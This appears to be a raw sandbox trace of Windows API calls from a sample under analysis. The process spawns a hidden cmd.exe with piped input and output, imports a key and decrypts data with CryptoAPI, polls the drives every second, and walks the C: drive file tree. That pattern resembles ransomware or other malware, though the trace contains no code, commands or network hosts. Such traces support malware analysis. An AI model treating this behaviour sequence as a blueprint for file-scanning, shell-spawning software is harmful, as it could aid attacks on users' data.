	[0056.422] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2a8f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2a4, hStdOutput=0x2b0, hStdError=0x2b0), lpProcessInformation=0x2a8fa30 | out: lpCommandLine=0x0, lpProcessInformation=0x2a8fa30*(hProcess=0x2b8, hThread=0x2b4, dwProcessId=0xbec, dwThreadId=0x2ac)) returned 1
	[0056.434] WriteFile (in: hFile=0x2a8, lpBuffer=0x2721350*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2a8fa4c, lpOverlapped=0x0 | out: lpBuffer=0x2721350*, lpNumberOfBytesWritten=0x2a8fa4c*=0x5b, lpOverlapped=0x0) returned 1
	[0056.434] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) 

Thread:
	id = 20
	os_tid = 0x8f0


Thread:
	id = 21
	os_tid = 0x210

	[0062.018] GetLogicalDrives () returned 0x4
	[0062.018] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27286a8
	[0062.018] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2c8f8f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2c8f960 | out: phKey=0x2c8f960*=0xb98da8) returned 1
	[0062.018] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x2c8f948, dwFlags=0x0) returned 1
	[0062.018] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27286a8, pdwDataLen=0x2c8f914 | out: pbData=0x27286a8, pdwDataLen=0x2c8f914) returned 1
	[0062.018] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0062.018] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x272a4e0
	[0062.018] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0
	[0062.018] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc
	[0062.018] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27288d8
	[0062.018] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0xe) returned 0x27288a8
	[0062.018] ResetEvent (hEvent=0x2bc) returned 1
	[0062.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1213b2e, lpParameter=0x27288d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0062.019] CloseHandle (hObject=0x2c4) returned 1
	[0062.019] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728740
	[0062.019] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0xe) returned 0x2728860
	[0062.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1213b2e, lpParameter=0x2728740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0062.020] CloseHandle (hObject=0x2c4) returned 1
	[0062.020] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) 

Thread:
	id = 22
	os_tid = 0x2d0

	[0062.021] GetLogicalDrives () returned 0x4
	[0062.021] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27252c8
	[0062.021] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2d8fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8fd68 | out: phKey=0x2d8fd68*=0xb98da8) returned 1
	[0062.021] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x2d8fd50, dwFlags=0x0) returned 1
	[0062.021] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27252c8, pdwDataLen=0x2d8fd1c | out: pbData=0x27252c8, pdwDataLen=0x2d8fd1c) returned 1
	[0062.021] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0062.021] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x2725620
	[0062.021] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c4
	[0062.021] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c8
	[0062.021] GetLogicalDrives () returned 0x4
	[0062.021] Sleep (dwMilliseconds=0x3e8) 
	[0063.431] GetLogicalDrives () returned 0x4
	[0063.431] Sleep (dwMilliseconds=0x3e8) 
	[0064.853] GetLogicalDrives () returned 0x4
	[0064.853] Sleep (dwMilliseconds=0x3e8) 
	[0066.065] GetLogicalDrives () returned 0x4
	[0066.065] Sleep (dwMilliseconds=0x3e8) 
	[0067.484] GetLogicalDrives () returned 0x4
	[0067.484] Sleep (dwMilliseconds=0x3e8) 
	[0068.655] GetLogicalDrives () returned 0x4
	[0068.655] Sleep (dwMilliseconds=0x3e8) 
	[0070.007] GetLogicalDrives () returned 0x4
	[0070.007] Sleep (dwMilliseconds=0x3e8) 
	[0071.084] GetLogicalDrives () returned 0x4
	[0071.084] Sleep (dwMilliseconds=0x3e8) 
	[0072.280] GetLogicalDrives () returned 0x4
	[0072.280] Sleep (dwMilliseconds=0x3e8) 
	[0073.443] GetLogicalDrives () returned 0x4
	[0073.443] Sleep (dwMilliseconds=0x3e8) 
	[0074.809] GetLogicalDrives () returned 0x4
	[0074.809] Sleep (dwMilliseconds=0x3e8) 
	[0076.209] GetLogicalDrives () returned 0x4
	[0076.209] Sleep (dwMilliseconds=0x3e8) 
	[0077.233] GetLogicalDrives () returned 0x4
	[0077.233] Sleep (dwMilliseconds=0x3e8) 
	[0078.386] GetLogicalDrives () returned 0x4
	[0078.386] Sleep (dwMilliseconds=0x3e8) 
	[0079.505] GetLogicalDrives () returned 0x4
	[0079.505] Sleep (dwMilliseconds=0x3e8) 
	[0080.517] GetLogicalDrives () returned 0x4
	[0080.518] Sleep (dwMilliseconds=0x3e8) 
	[0081.533] GetLogicalDrives () returned 0x4
	[0081.533] Sleep (dwMilliseconds=0x3e8) 
	[0082.552] GetLogicalDrives () returned 0x4
	[0082.552] Sleep (dwMilliseconds=0x3e8) 
	[0083.564] GetLogicalDrives () returned 0x4
	[0083.564] Sleep (dwMilliseconds=0x3e8) 
	[0084.566] GetLogicalDrives () returned 0x4
	[0084.566] Sleep (dwMilliseconds=0x3e8) 
	[0085.580] GetLogicalDrives () returned 0x4
	[0085.580] Sleep (dwMilliseconds=0x3e8) 
	[0086.600] GetLogicalDrives () returned 0x4
	[0086.600] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 23
	os_tid = 0x394

	[0062.078] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x38) returned 0x2725310
	[0062.078] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x18) returned 0x27286f0
	[0062.078] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2cc
	[0062.078] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d0
	[0062.078] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d4
	[0062.078] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2ed0048
	[0062.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1213957, lpParameter=0x2b8fe90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0062.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1213957, lpParameter=0x2b8fe90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0062.080] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2ee0050
	[0062.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2b8fc08 | out: lpFindFileData=0x2b8fc08*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b8fe30, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xb993a8
	[0062.081] GetLastError () returned 0x0
	[0062.081] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x214) returned 0x272b518
	[0062.082] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0062.082] GetCurrentThreadId () returned 0x394
	[0062.082] SetLastError (dwErrCode=0x0) 
	[0062.082] GetLastError () returned 0x0
	[0062.082] SetLastError (dwErrCode=0x0) 
	[0062.082] GetLastError () returned 0x0
	[0062.082] SetLastError (dwErrCode=0x0) 
	[0062.082] GetLastError () returned 0x0
	[0062.082] SetLastError (dwErrCode=0x0) 
	[0062.082] GetLastError () returned 0x0
	[0062.082] SetLastError (dwErrCode=0x0) 
	[0062.082] GetLastError () returned 0x0
	[0062.083] SetLastError (dwErrCode=0x0) 
	[0062.083] GetLastError () returned 0x0
	[0062.083] SetLastError (dwErrCode=0x0) 
	[0062.083] GetLastError () returned 0x0
	[0062.083] SetLastError (dwErrCode=0x0) 
	[0062.083] GetLastError () returned 0x0
	[0062.083] SetLastError (dwErrCode=0x0) 
	[0062.083] GetLastError () returned 0x0
	[0062.083] SetLastError (dwErrCode=0x0) 
	[0062.083] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2ef0058
	[0062.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2b8f984 | out: lpFindFileData=0x2b8f984*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0xb99428
	[0062.094] FindNextFileW (in: hFindFile=0xb99428, lpFindFileData=0x2b8f984 | out: lpFindFileData=0x2b8f984*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1
	[0062.094] FindNextFileW (in: hFindFile=0xb99428, lpFindFileData=0x2b8f984 | out: lpFindFileData=0x2b8f984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1
	[0062.094] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] GetLastError () returned 0x0
	[0062.095] SetLastError (dwErrCode=0x0) 
	[0062.095] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f20070
	[0062.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb98da8
	[0062.102] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.125] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0062.125] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.126] SetLastError (dwErrCode=0x0) 
	[0062.126] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.127] GetLastError () returned 0x0
	[0062.127] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.128] GetLastError () returned 0x0
	[0062.128] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.129] SetLastError (dwErrCode=0x0) 
	[0062.129] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.130] SetLastError (dwErrCode=0x0) 
	[0062.130] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.131] SetLastError (dwErrCode=0x0) 
	[0062.131] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.132] SetLastError (dwErrCode=0x0) 
	[0062.132] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.133] SetLastError (dwErrCode=0x0) 
	[0062.133] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.134] SetLastError (dwErrCode=0x0) 
	[0062.134] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.135] GetLastError () returned 0x0
	[0062.135] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.136] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.136] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.136] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.136] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.136] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.136] SetLastError (dwErrCode=0x0) 
	[0062.136] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.137] SetLastError (dwErrCode=0x0) 
	[0062.137] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.138] SetLastError (dwErrCode=0x0) 
	[0062.138] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.139] SetLastError (dwErrCode=0x0) 
	[0062.139] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
